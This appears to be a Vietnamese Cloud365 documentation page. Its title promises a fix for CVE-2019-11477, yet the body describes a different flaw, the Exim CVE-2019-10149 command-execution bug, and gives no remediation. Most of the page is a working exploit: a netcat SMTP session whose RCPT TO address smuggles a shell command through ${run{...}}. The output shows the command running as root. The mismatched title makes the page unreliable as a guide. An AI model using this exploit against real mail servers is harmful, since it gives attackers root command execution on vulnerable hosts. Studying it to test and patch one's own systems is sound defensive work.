Hướng dẫn khắc phục lỗ hổng bảo mật CVE-2019-11477 trên Cloud365
Hướng dẫn khắc phục lỗ hổng bảo mật CVE-2019-11477 trên Cloud365
Nơi chứa các tài liệu tham khảo của dịch vụ Cloud365.
CVE-2019-10149 là một lỗ hổng thực thi lệnh từ xa được giới thiệu trong phiên bản Exim trước trước phiên bản 4.92. Trong cấu hình mặc định, kẻ tấn công cục bộ có khả năng khai thác lỗ hổng này để thực thi các lệnh như người dùng root ngay bằng cách gửi thư đến một địa chỉ thư được tạo thủ công đặc biệt trên localhost.
Exim version 4.91
Mục tiêu tạo ra file /tmp/id
chứa thông tin id user
Ban đầu kiểm tra xem có tồn tại file /tmp/id
[root@testexim ~]# cat /tmp/id
cat: /tmp/id: No such file or directory
[root@testexim ~]#
minhkma
thực hiệnRCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}
[minhkma@testexim ~]$ nc 127.0.0.1 25
220-cpanel.localhost.localdomain ESMTP Exim 4.91 #1 Fri, 14 Jun 2019 16:50:25 +0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
HELO localhost
250 cpanel.localhost.localdomain Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hbirS-0000mL-ER
QUIT
221 cpanel.localhost.localdomain closing connection
Ncat: Broken pipe.
[root@testexim ~]# cat /tmp/id
uid=0(root) gid=12(mail) groups=12(mail)
uid=0(root) gid=12(mail) groups=12(mail)
Tài liệu tham khảo